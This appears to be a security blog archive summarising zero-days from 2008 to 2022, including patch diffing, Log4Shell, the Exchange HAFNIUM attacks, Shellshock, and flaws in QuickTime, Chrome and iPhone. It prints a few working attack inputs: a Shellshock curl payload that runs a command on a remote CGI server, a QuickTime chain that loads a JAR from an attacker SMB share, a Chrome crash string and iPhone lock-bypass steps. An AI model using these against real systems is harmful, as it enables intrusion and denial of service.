Modern Binary/Patch Diffing

 

In this webinar, Stephen will demonstrate the process of downloading Microsoft cumulative updates to extract the patches and prep them for diffing. 

It's a very useful way to identify patched vulnerabilities that can potentially be weaponized for exploitation of un-patched systems, as well as learning how vulnerabilities are patched to aid in bug hunting. 

My notes:

• Time consuming to find the diff. (use bindiff or diaphora)
  
• 2022-10 x64 "Windows 10" 22H2  Vs "Cumulative windows 10"
• 2 purposes:
• weaponize patched vuln (n-day exploit)
  
• find new 0-day vuln
  
• MS doesn't obfuscate the patch management process. 😅
  
• expand.exe -F:* .\xxxx.msu .\extract
• expand.exe -F:* .\extract\xxxx.cab .\patch
• expand.exe -F:* .\patch\yyyy.cab .\patch
• expand.exe -F:* .\patch\zzzz.cab .\patch [20min++]
  
• gci -Recurse c:\windows\WinSxS\ -Filter ntdll.dll
• .\delta_patch.py -i .\NTDLL\ntdll.dll -o ntdll.2020-10.dll .\NTDLL\r\ntdll.dll .\2020-10\x64\ntdll.dll_10.0.18362.1139\f\ntdll.dll
• .\delta_patch.py -i .\NTDLL\ntdll.dll -o ntdll.2020-11.dll .\NTDLL\r\ntdll.dll .\2020-11\x64\ntdll.dll_10.0.18362.1171\f\ntdll.dll
  

Links:

• Youtube - Modern Binary/Patch Diffing
• https://github.com/joxeankoret/diaphora
• https://security.googleblog.com/2016/03/bindiff-now-available-for-free.html
• https://www.zynamics.com/bindiff.html
• https://www.catalog.update.microsoft.com/Home.aspx

Currently 0-day Is Not Hard

Google Project Zero researcher Maddie Stone presents a speech at the FIRST conference which titled "0-day In-the-Wild Exploitation in 2022…so far".

It revealed that nine out of 18 zero-day flaws detected and disclosed as exploited in-the-wild in 2022 are variants of previously patched vulnerabilities.

• Found 18 detected zero-days as exploited in-the-wild.
• At least 9 of them are variants of previously patched vulnerabilities.
  

This means that many of the attacks were not so sophisticated, instead threat actors that exploited the issue were able to come back and trigger the known vulnerability through a different path. 

For example:

• CVE-2022-30190 (Follina Windows vulnerability) ~  CVE-2021-40444 MSHTML zero-day
• CVE-2022-21882 (Windows win32k) ~ CVE-2021-1732
• CVE-2022-22587 (iOS) ~ CVE-2021-30983
• CVE-2022-1096 (Chromium) ~ CVE-2016-5128, CVE-2021-30551, CVE-2022-1232
• CVE-2022-1364 (Chromium v8) ~ CVE-2021-21195
• CVE-2022-26134 (Atlassian Confluence) ~ CVE-2021-26084
• CVE-2022-26925 (PetitPotam) ~ CVE-2021-36942 (patch regressed)
  

“When 0-day exploits are detected in-the-wild, it’s the failure case for an attacker. It’s a gift for us security defenders to learn as much as we can and take actions to ensure that that vector can’t be used again. The goal is to force attackers to start from scratch each time we detect one of their exploits: they’re forced to discover a whole new vulnerability, they have to invest the time in learning and analyzing a new attack surface, they must develop a brand new exploitation method.”

To properly address zero-day vulnerabilities Google researchers recommend platform security teams and other independent security researchers to invest in root cause analysis, variant analysis, patch analysis, and exploit technique analysis.

Learn from 0-days exploited in the wild to make -day hard.

Make 0-day hard by:

• Increase the cost (mean time, expertise) per exploit.
• Increase the number of exploits required.

 

Links:

• Half of actively exploited zero-day issues in H1 2022
• 2022 0-day In-the-Wild Exploitation…so far
  
• 0-day In-the-wild Exploitation in 2022...so far (presentation slide)
  
• Project Zero
  

Log4Shell at Christmas Eve

A quick summary for Log4Shell issue at Christmas eve.

• Log4j Zero-Day - Log4Shell
• Log4Shell Mitigation Guide 
• Live Patch Log4Shell
• Log4Shell 2.0 

 

Log4Shell: RCE 0-day exploit found in log4j (a Java logging package)

On Thursday (December 9th), a 0-day exploit in the popular Java logging library log4j (version 2) was discovered that results in Remote Code Execution (RCE) by logging a certain string.

Given how ubiquitous this library is, the impact of the exploit (full server control), and how easy it is to exploit, the impact of this vulnerability is quite severe. This exploit is also known as "Log4Shell".

The 0-day was tweeted along with a POC posted on GitHub. It has now been published as CVE-2021-44228.

More resources are available at https://log4shell.com/

Impact

Many services are vulnerable to this exploit including cloud services (Steam, Apple iCloud); apps like Minecraft, Apache Struts; and any software that embedded Log4J as logging package. 

Affected Apache Log4j Versions

From the initial investigation, almost all version of log4j v2.0 till v2.14.1 are vulnerable. And version 1 of log4j is vulnerable too.

How the exploit works

• A server with a vulnerable log4j version installed/embedded. 
• An endpoint with any protocol (HTTP, TCP) that allows attacker to send the exploit string.
• A log statement that logs out the string from the requester.
• Outgoing connection to a malicious LDAP and RMI server.
  

This means, by limiting outgoing connection, we can prevent loading the exploit and mitigating the vulnerability. However, it is not possible to just block specific ports, LDAP (389/tcp) and RMI (1099/tcp/udp). The attacker can hosts the exploit payload at any arbitrary ports.

It might be possible with application layer firewall inspection to restrict the outgoing protocols, ie LDAP and RMI should be blocked. 

Alternatively, one might deploy a HTTP proxy and restrict outgoing traffic thru the proxy only since LDAP and RMI do not work over a HTTP proxy.

0-day Attack on Exchange Server (By HAFNIUM)

Your organization should have in incident response mode now if there is any OWA server exposed to the Internet between 02/26 ~ 03/03.

Microsoft has detected multiple zero-day exploits being used to attack on-premises Exchange server, and allowed installation of web shell to facilitate long-term access at vulnerable servers.

Vulnerabilities Summary 

CVE-2021-26855 is a server-side request forgery (SSRF) vulnerability in Exchange which allowed the attacker to send arbitrary HTTP requests and authenticate as the Exchange server.

CVE-2021-26857 is an insecure deserialization vulnerability in the Unified Messaging service. Insecure deserialization is where untrusted user-controllable data is deserialized by a program. Exploiting this vulnerability gave HAFNIUM the ability to run code as SYSTEM on the Exchange server. This requires administrator permission or another vulnerability to exploit.

CVE-2021-26858 is a post-authentication arbitrary file write vulnerability in Exchange. If HAFNIUM could authenticate with the Exchange server then they could use this vulnerability to write a file to any path on the server. They could authenticate by exploiting the CVE-2021-26855 SSRF vulnerability or by compromising a legitimate admin’s credentials.

CVE-2021-27065 is a post-authentication arbitrary file write vulnerability in Exchange. If HAFNIUM could authenticate with the Exchange server then they could use this vulnerability to write a file to any path on the server. They could authenticate by exploiting the CVE-2021-26855 SSRF vulnerability or by compromising a legitimate admin’s credentials.

Remediation

Microsoft has provided scripts to check the patch level at Exchange server, and scan the Exchange logs for indication of compromise.

Links:

• https://arstechnica.com/gadgets/2021/03/tens-of-thousands-of-us-organizations-hit-in-ongoing-microsoft-exchange-hack/
  
• https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/
• https://github.com/microsoft/CSS-Exchange
  

ShellShock Attack Vectors

Shellshock attack is popular, and wormable too. However, it requires an attack vector for it to works. Here're some of the common attack vectors for shellshock to work:

• (Apache/etc) httpd - If the CGI script calls Bash, the script could execute arbitrary code as the httpd user. mod_php, mod_perl, and mod_python do not use environment variables and we believe they are not affected.
• (Secure Shell) ssh -  It can be used to execute any command, via ssh, scp, git, rsync, etc.
• dhclient - The Dynamic Host Configuration Protocol Client (dhclient) is used to automatically obtain network configuration information via DHCP. This client uses various environment variables and runs Bash to configure the network interface. Connecting to a malicious DHCP server could allow an attacker to run arbitrary code on the client machine.
• CUPS - It is believed that CUPS is affected by this issue. Various user supplied values are stored in environment variables when cups filters are executed.
• sudo - It could still be possible for the running command to set an environment variable that could cause a Bash child process to execute arbitrary code.
• Firefox - No detail about it as of now.
• Postfix - While the Postfix server does call Bash in a variety of ways, the Postfix server will replace various characters with a ?, and may allow an arbitrary environment variable be set by the server. It is however possible that a filter could set environment variables.

ShellShock Testing

Patch your /usr/bin/bash  NOW. The 'Shellshock' bug blasts OS X, Linux systems wide open. The attack vectors are the CGI scripts to DHCP clients (and maybe more), which will lead to remote-code execution.

Proof of Concept - at local system
A simple test to check if your Bash is vulnerable is available publicly.

$ env var='() { :;}; echo vulnerable' bash -c /bin/true  

Upon running the above command, an affected version of bash will output "vulnerable". Once the patch has been applied, the same test will return the following result.

bash: warning: var: ignoring function definition attempt  bash: error importing function definition for 'var'  

Proof of Concept - to a remote server.

curl -A "() { ignored; }; echo Content-Type: text/plain ; echo  ; echo ; /usr/bin/id" 

A vulnerable web CGI will return uid=48(apache) gid=48(apache) groups=48(apache), and follow by HTML page. A non-vulnerable should return just the HTML page.

Congratulations! You found it.

Unpatch Microsoft Vulnerabilities

I saw this this morning on the risk currently being tracked by MSRC at http://blogs.technet.com/b/srd/archive/2011/01/07/assessing-the-risk-of-public-issues-currently-being-tracked-by-the-msrc.aspx

However, there is a longer list of unpatch Microsoft vulnerabilities at VUPEN Security. Any 0day there?

0day Exploit for WMI Administrative Tools

Microsoft WMI Administrative Tools is prone to a remote code-execution vulnerability that affects the WMI Object Viewer ('WBEMSingleView.ocx') ActiveX control.

The vulnerabilities are caused due to the "AddContextRef()" and "ReleaseContext()" methods in the WMI Object Viewer Control (WBEM.SingleViewCtrl.1) using a value passed in the "lCtxHandle" parameter as an object pointer.

An attacker can exploit this issue by enticing an unsuspecting user to view a malicious webpage. Successful exploits will allow the attacker to execute arbitrary code within the context of the application (typically Internet Explorer) that uses the ActiveX control.

The vulnerabilities are confirmed in version 1.1 (WBEMSingleView.ocx 1.50.1131.0).

Workaround:
Set the kill-bit for the affected ActiveX control.


PoC Exploit is available at:

• Original credit goes to "牛奶坦克" via WooYun. 
• http://www.securityfocus.com/data/vulnerabilities/exploits/45546.txt
• http://www.exploit-db.com/exploits/15809/

Reference:

• http://xforce.iss.net/xforce/xfdb/64250

SMB2 BSOD 0Day

The vulnerability was discovered by Laurent Gaffié. Here's the short description about the vulnerability:

SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE PROTOCOL REQUEST functionnality. The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a SMB server, and it’s used to identify the SMB dialect that will be used for futher communication.

Based on testing, Vista/2003/2008/Windows 7 (RC) are vulnerable to this exploit. However, Windows 2000/XP/Windows 7 (RTM) are NOT affected by this exploit.

References:

• SMB2 Negotiate Protocol Request Remote BSOD (python exploit code)
• SANS: SMB2 BSOD 0Day
• SANS:SMB2 Remote Exploit released.

Microsoft IIS 5/6 FTP 0Day released

A new 0-day exploit been released. It is targeting Win2K's Microsoft IIS 5/6 FTP service.

Your server is vulnerable if you are:

• Running Microsoft IIS 5/6 FTP service on Windows 2000.
• Allowing anonymous access with WRITE access.

References:

• SANS: Microsoft IIS 5/6 FTP 0Day released.
• Exploit at Milw0rm.

Tracking Gimmiv

There is an interesting post from research Joe Stewart's research.

This is a tracking of a 0-day exploit which targetting an out-of-band Microsoft patch (MS08-067). This is a patch against a flaw in Windows RPC code.

Because of some mistakes made by the author(s) of Gimmiv worm, 3rd parties were able to download the logfiles of the Gimmiv control server. Even most of the data in the logs is AES-encrypted, the key hardcoded in the Gimmiv binary was recovered for decrypting the data.

From the decrypted log file into KML format, the result shows that:

• Only around 200 computers were infected since the time Gimmiv was actively deployed on September 29, 2008.
• Only 23 countries had infected users, and Southeast Asia appeared to have the greatest number of infections. Two networks in Malaysia had the most infections.
• While Malaysia was the hardest hit, it appears that the “in-the-wild” spread of Gimmiv may have started in Vietnam on September 29.
• The log shows that Gimmiv appeared first on August 20, 2008.

The Gimmiv's author is probably from South Korea, because:

• A zip file left behind on one of the control servers contained Korean characters in the compressed folder name.
• One of IP addresses, located in Korea, was running Gimmiv in a VMware virtual machine (could be someone testing a piece of malicious mobile code to do).

Chromium Snapshots

I encounter an issue to use Google Chrome browser in office. After some investigation and Google searching, it seems like I'm not alone. The Google official release version does have problem rendering SSL pages if it is behind a Microsoft ISA proxy server. Funny? Another bug?

One of the solution is to download the daily snapshot from the following site:

• http://build.chromium.org/buildbot/snapshots/chromium-rel-xp/?O=D

Bonus is you get a portable Google Chrome browser.

Mystery Flaw in Google Docs

A potential security flaw was found by accident at Google Docs. The Google Docs session appeared to have "crossed over" with another users. Meaning you may end up seeing a document owned by you (after login), but not (supposed to) owned by you.

Till now, there is no way to re-produce the security flaw at the moment. It suspects the Google Docs flaw comes from a JavaScript error in how Google manages user sessions.

>>> http://blog.isc2.org/isc2_blog/2008/09/serious-securit.html

Zero-Day for QuickTime Round Up

Here I tried summarized the 0-day vulnerability for Quicktime found recently at GNUCitizen. The bug is simple and can lead to command execution.

The attack vectors for this bug is the access to malicious NetBIOS share is not filtered. So hypothetically all the applications which sends user-supplied file:// protocol URLs to FileProtocolHandler is vulnerable to the same attack.

rundll32 url.dll,FileProtocolHandler URL

QuickTime SMIL file, hosted at a malicious site, is the begin of the story. An attribute, called qt:next, within the SMIL file will instruct the QuickTime player to play the next mp3 file. This attribute can point to protocol handler such as http:// or file://

If the following URL is passed to the FileProtocolHandler using the attribute above:

file://172.16.3.124/evil/evil.lnk

And the content of the evil.lnk is point to the following JAR file:

\\172.16.3.124\evil\evil.jar

Then it will bypass the following Windows protection and cause Java interpreter to execute the mailious JAR archive.

• XP SP1 and above will warn user that an application is launched from an untrusted share.
• This applies to all the executable extensions such as exe, .bat, .cmd, .vbs, .js, .application and other known executable file formats.

However, it seems that Windows protetion has exclude the JAR archive, which will parsed by Java interpreter. It will happily load the file and attack the victim’s system.

References:

• The QuickTime Vulnerability Overview
• Details of the QuickTime Vulnerability

Silent Crash PoC for Google Chrome

A PoC to cause silent crash on Google Chrome is published. See it at milw0rm.

See the other 0-day vulnerabilities:

• http://myseq.blogspot.com/2008/09/google-chrome-first-0-day.html
  
• http://myseq.blogspot.com/2008/09/google-chrome-second-0-day.html
  
• View existing bugs at http://code.google.com/p/chromium/issues/list

Google Chrome Second 0-Day

It seems like thing never like to happen alone: another 0day is found, within 24 hours after it launches. Google's new Web browser (Chrome) allows files (e.g., executables) to be automatically downloaded to the user's computer without any user prompt.

References:

• POC at milw0rm.
• Another POC at raffon.net (also known as carpet-bombing flaw).
• Robert Hensing's Blog.

Google Chrome First 0-Day (in First Day)

Apprently the first 0day exploit for Google newly launched browser is out. It is a denial of service attack to crash the entire browser, even Google Chrome claims to have individual sandbox protection.

The POC is simple, just key in "evil:%" (without the quote) on the address bar.

Reference:

• DoS to Google Chrome Browser 0.2.149.27
  

Full Access to Locked iPhone

Recently, there is a security flaw disclosed to allow full access to a locked iPhone (running firmware version 2.0.2). To exploit a locked (vulnerable) iPhone:

• Enter the emergency call menu (of a locked iPhone).
• Double tap the HOME button (to open the Favorites menu).

This will allow anyone in the favorite list to be called. From there, an attacker can access to SMS messages and potentially your email or Safari browser.

The workaround for this flaw while waiting for the next firmware update:

• Simply enter the Settings menu on your iPhone
• Then enter General > Home Button
• Select “Home” or “iPod”.

Now when you double tap your home button, it will navigate to either your home screen. While this fix might be annoying for some, as of right now it seems like the only way to secure your locked iPhone.